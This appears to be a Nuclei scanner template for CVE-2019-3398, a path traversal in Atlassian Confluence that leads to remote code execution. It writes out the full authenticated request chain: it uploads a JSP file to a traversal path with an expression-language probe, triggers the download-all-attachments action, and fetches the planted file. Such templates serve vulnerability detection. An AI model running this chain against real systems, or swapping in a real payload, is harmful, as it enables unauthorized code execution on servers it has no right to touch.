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id : CVE-2019-3398
info :
name : Atlassian Confluence Download Attachments - Remote Code Execution
author : rootxharsh,iamnoooob,pdresearch
severity : high
description : |
Confluence Server and Data Center had a path traversal vulnerability in the downloadallattachments resource. A remote attacker who has permission to add attachments to pages and / or blogs or to create a new space or a personal space or who has 'Admin' permissions for a space can exploit this path traversal vulnerability to write files to arbitrary locations which can lead to remote code execution on systems that run a vulnerable version of Confluence Server or Data Center.
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impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
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remediation : |
Apply the latest security patches provided by Atlassian to fix the vulnerability.
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reference :
- https://blogs.juniper.net/en-us/threat-research/cve-2019-3398-atlassian-confluence-download-attachments-remote-code-execution
- https://nvd.nist.gov/vuln/detail/CVE-2019-3398
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- http://packetstormsecurity.com/files/152616/Confluence-Server-Data-Center-Path-Traversal.html
- http://packetstormsecurity.com/files/155245/Atlassian-Confluence-6.15.1-Directory-Traversal.html
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- https://jira.atlassian.com/browse/CONFSERVER-58102
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score : 8.8
cve-id : CVE-2019-3398
cwe-id : CWE-22
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epss-score : 0.9722
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epss-percentile : 0.99805
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cpe : cpe:2.3:a:atlassian:confluence:*:*:*:*:*:*:*:*
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metadata :
max-request : 5
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vendor : atlassian
product : confluence
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tags : cve,cve2019,packetstorm,atlassian,confluence,rce,authenticated,intrusive,kev
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variables :
num1 : "{{rand_int(800000, 999999)}}"
num2 : "{{rand_int(800000, 999999)}}"
result : "{{to_number(num1)*to_number(num2)}}"
http :
- raw :
- |
POST /dologin.action HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
os_username={{username}}&os_password={{password}}&login=Log%2Bin&os_destination=
- |
GET /pages/createpage.action HTTP/1.1
Host : {{Hostname}}
- |
POST /plugins/drag-and-drop/upload.action?draftId={{draftID}}&filename=../../../../../../opt/atlassian/confluence/confluence/pages/{{randstr}}.jsp&size=8&mimeType=text%2Fplain&atl_token={{csrftoken}} HTTP/1.1
Host : {{Hostname}}
${{{num1}}*{{num2}}}
- |
GET /pages/downloadallattachments.action?pageId={{draftID}} HTTP/1.1
Host : {{Hostname}}
- |
GET /pages/{{randstr}}.jsp HTTP/1.1
Host : {{Hostname}}
host-redirects : true
max-redirects : 2
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matchers-condition : and
matchers :
- type : word
part : body_5
words :
- "{{result}}"
extractors :
- type : regex
name : csrftoken
group : 1
regex :
- 'name="atlassian\-token" content="([a-z0-9]+)"> '
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internal : true
part : body
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- type : regex
name : draftID
group : 1
regex :
- 'ta name="ajs\-draft\-id" content="([0-9]+)">'
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internal : true
part : body
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# digest: 490a0046304402202ed5ebe35209e720ef0f2023c23acdd94f23854748616fecce0a05ea19d5c9bf022054acf9e892ff58287d73762f5aadbbe3ab14cb91898bcfafae9961e3e0128dd4:922c64590222798bb761d5b6d8e72950